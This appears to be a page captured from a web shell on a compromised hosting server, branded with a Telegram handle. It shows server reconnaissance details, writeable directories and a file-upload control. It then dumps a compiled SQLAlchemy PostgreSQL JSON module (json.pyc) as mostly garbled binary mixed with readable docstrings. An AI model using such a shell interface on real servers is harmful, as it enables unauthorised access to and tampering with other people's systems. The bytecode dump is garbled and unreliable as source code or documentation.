https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyc
�
���\c@@s�ddlmZddlmZddlmZddlmZddlmZddl	m
Z
dZe
je
j
Ze
jdded
ede�Ze
jdded
ede�Ze
jdded
ede�Ze
jdded
ede�Ze
jdded
ede�Ze
jdded
ede�Ze
jdded
ede�Zdejjfd��YZeeejj<d	ejfd��YZeeej<eed<d
efd��YZeed<dS(i(tabsolute_importi(tcolspecs(t
ischema_namesi(ttypes(tutil(t	operatorstJSONtJSONBs->>t
precedencetnatural_self_precedentteager_groupings#>>t?s?&s?|s@>s<@tJSONPathTypecB@seZd�Zd�ZRS(c@s"|j|���fd�}|S(Nc@sit|tjj�st�g|D]}tj|�^q"}ddj|�}�re�|�}n|S(Ns{%s}s, (t
isinstanceRtcollections_abctSequencetAssertionErrort	text_typetjoin(tvaluetelemttokens(t
super_proc(sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pytprocessKs"(tstring_bind_processor(tselftdialectR((RsI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pytbind_processorHsc@s"|j|���fd�}|S(Nc@sit|tjj�st�g|D]}tj|�^q"}ddj|�}�re�|�}n|S(Ns{%s}s, (R
RRRRRR(RRR(R(sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyRXs"(tstring_literal_processor(RRR((RsI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pytliteral_processorUs(t__name__t
__module__RR(((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyRGs	
cB@sKeZdZej�Zedd�Zdej	j
fd��YZ
e
ZRS(s 	Represent the PostgreSQL JSON type.

    This type is a specialization of the Core-level :class:`.types.JSON`
    type.   Be sure to read the documentation for :class:`.types.JSON` for
    important tips regarding treatment of NULL values and ORM use.

    .. versionchanged:: 1.1 :class:`.postgresql.JSON` is now a PostgreSQL-
       specific specialization of the new :class:`.types.JSON` type.

    The operators provided by the PostgreSQL version of :class:`.JSON`
    include:

    * Index operations (the ``->`` operator)::

        data_table.c.data['some key']

        data_table.c.data[5]


    * Index operations returning text (the ``->>`` operator)::

        data_table.c.data['some key'].astext == 'some value'

    * Index operations with CAST
      (equivalent to ``CAST(col ->> ['some key'] AS <type>)``)::

        data_table.c.data['some key'].astext.cast(Integer) == 5

    * Path index operations (the ``#>`` operator)::

        data_table.c.data[('key_1', 'key_2', 5, ..., 'key_n')]

    * Path index operations returning text (the ``#>>`` operator)::

        data_table.c.data[('key_1', 'key_2', 5, ..., 'key_n')].astext == 'some value'

    .. versionchanged:: 1.1  The :meth:`.ColumnElement.cast` operator on
       JSON objects now requires that the :attr:`.JSON.Comparator.astext`
       modifier be called explicitly, if the cast works only from a textual
       string.

    Index operations return an expression object whose type defaults to
    :class:`.JSON` by default, so that further JSON-oriented instructions
    may be called upon the result type.

    Custom serializers and deserializers are specified at the dialect level,
    that is using :func:`.create_engine`.  The reason for this is that when
    using psycopg2, the DBAPI only allows serializers at the per-cursor
    or per-connection level.   E.g.::

        engine = create_engine("postgresql://scott:tiger@localhost/test",
                                json_serializer=my_serialize_fn,
                                json_deserializer=my_deserialize_fn
                        )

    When using the psycopg2 dialect, the json_deserializer is registered
    against the database using ``psycopg2.extras.register_default_json``.

    .. seealso::

        :class:`.types.JSON` - Core level JSON type

        :class:`.JSONB`

    cC@s5tt|�jd|�|dk	r1||_ndS(s Construct a :class:`.JSON` type.

        :param none_as_null: if True, persist the value ``None`` as a
         SQL NULL value, not the JSON encoding of ``null``.   Note that
         when this flag is False, the :func:`.null` construct can still
         be used to persist a NULL value::

             from sqlalchemy import null
             conn.execute(table.insert(), data=null())

         .. versionchanged:: 0.9.8 - Added ``none_as_null``, and :func:`.null`
            is now supported in order to persist a NULL value.

         .. seealso::

              :attr:`.JSON.NULL`

        :param astext_type: the type to use for the
         :attr:`.JSON.Comparator.astext`
         accessor on indexed attributes.  Defaults to :class:`.types.Text`.

         .. versionadded:: 1.1

         tnone_as_nullN(tsuperRt__init__tNonetastext_type(RR R$((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyR"�st
ComparatorcB@seZdZed��ZRS(s0Define comparison operations for :class:`.JSON`.cC@srt|jjjtjj�rF|jjjt	|jjd|jj
�S|jjjt|jjd|jj
�SdS(s
On an indexed expression, use the "astext" (e.g. "->>")
            conversion when rendered in SQL.

            E.g.::

                select([data_table.c.data['some key'].astext])

            .. seealso::

                :meth:`.ColumnElement.cast`

            tresult_typeN(R
texprtrightttypetsqltypesRRtlefttoperatetJSONPATH_ASTEXTR$tASTEXT(R((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pytastext�s
(RRt__doc__tpropertyR/(((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyR%�sN(RRR0R*tTextR$tFalseR#R"RR%tcomparator_factory(((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyRfs
AtjsoncB@s3eZdZdZdejfd��YZeZRS(s_Represent the PostgreSQL JSONB type.

    The :class:`.JSONB` type stores arbitrary JSONB format data, e.g.::

        data_table = Table('data_table', metadata,
            Column('id', Integer, primary_key=True),
            Column('data', JSONB)
        )

        with engine.connect() as conn:
            conn.execute(
                data_table.insert(),
                data = {"key1": "value1", "key2": "value2"}
            )

    The :class:`.JSONB` type includes all operations provided by
    :class:`.JSON`, including the same behaviors for indexing operations.
    It also adds additional operators specific to JSONB, including
    :meth:`.JSONB.Comparator.has_key`, :meth:`.JSONB.Comparator.has_all`,
    :meth:`.JSONB.Comparator.has_any`, :meth:`.JSONB.Comparator.contains`,
    and :meth:`.JSONB.Comparator.contained_by`.

    Like the :class:`.JSON` type, the :class:`.JSONB` type does not detect
    in-place changes when used with the ORM, unless the
    :mod:`sqlalchemy.ext.mutable` extension is used.

    Custom serializers and deserializers
    are shared with the :class:`.JSON` class, using the ``json_serializer``
    and ``json_deserializer`` keyword arguments.  These must be specified
    at the dialect level using :func:`.create_engine`.  When using
    psycopg2, the serializers are associated with the jsonb type using
    ``psycopg2.extras.register_default_jsonb`` on a per-connection basis,
    in the same way that ``psycopg2.extras.register_default_json`` is used
    to register these handlers with the json type.

    .. versionadded:: 0.9.7

    .. seealso::

        :class:`.JSON`

    RR%cB@s;eZdZd�Zd�Zd�Zd�Zd�ZRS(s0Define comparison operations for :class:`.JSON`.cC@s|jt|dtj�S(svBoolean expression.  Test for presence of a key.  Note that the
            key may be a SQLA expression.
            R&(R,tHAS_KEYR*tBoolean(Rtother((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pythas_keyscC@s|jt|dtj�S(sHBoolean expression.  Test for presence of all keys in jsonb
            R&(R,tHAS_ALLR*R7(RR8((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pythas_all#scC@s|jt|dtj�S(sGBoolean expression.  Test for presence of any key in jsonb
            R&(R,tHAS_ANYR*R7(RR8((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pythas_any(scK@s|jt|dtj�S(s�Boolean expression.  Test if keys (or array) are a superset
            of/contained the keys of the argument jsonb expression.
            R&(R,tCONTAINSR*R7(RR8tkwargs((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pytcontains-scC@s|jt|dtj�S(s|Boolean expression.  Test if keys are a proper subset of the
            keys of the argument jsonb expression.
            R&(R,tCONTAINED_BYR*R7(RR8((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pytcontained_by3s(RRR0R9R;R=R@RB(((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyR%s				(RRR0t__visit_name__RR%R4(((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyR�s*!tjsonbN(sJSONsJSONB(t
__future__RtbaseRRtRR*RtsqlRt__all__t_PRECEDENCEtjson_getitem_optidx_precedencet	custom_optTrueR.R-R6R:R<R>RARRR(((sI/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/json.pyt<module>sb							�

R

https://t.me/AnonymousX5 - 2025